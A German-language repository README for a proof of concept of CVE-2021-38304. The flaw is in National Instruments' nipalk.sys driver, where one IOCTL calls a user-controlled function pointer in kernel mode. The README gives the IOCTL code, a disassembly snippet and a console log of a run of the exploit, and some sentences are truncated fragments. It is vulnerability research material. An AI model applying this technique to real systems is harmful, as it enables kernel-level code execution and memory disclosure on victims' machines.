
CVE-2021-38304 Proof of Concept
Dieses Repository enthält einen Proof of Concept für eine kritische Sicherheitslücke in älteren Versionen des National Instruments nipalk.sys-Treibers. Die Schwachstelle ermöglicht beliebige Codeausführung und Speicherauslesen im Kernel-Modus. Sie ist ausschließlich für private Forschungszwecke gedacht.
Der nipalk.sys-Treiber verarbeitet benutzerbereitgestellte Zeiger während der Verarbeitung einer bestimmten IOCTL-Anforderung nicht ordnungsgemäß. Dieser Fehler ermöglicht es einem Angreifer, einen Funktionszeiger bereitzustellen, den der Treiber im Kernel-Kontext mit kontrollierten Parametern aufruft.
RCX und RDX während des Funktionsaufrufs kontrollieren.RtlCopyMemory kann ein Angreifer beliebigen Kernel-Speicher lesen.Die Schwachstelle entsteht dadurch, dass der Treiber es versäumt, von Benutzermodus-Anwendungen bereitgestellte Zeiger zu validieren. Während der Verarbeitung von IOCTL 0xABCD03C4 holt der Treiber einen Funktionszeiger aus einer benutzergesteuerten Struktur und ruft ihn ohne ordnungsgemäße Überprüfungen auf:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] wird im Kernel-Kontext ausgeführt.RCX und RDX werden vom Benutzer kontrolliert.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Dieser PoC dient ausschließlich zu Bildungszwecken.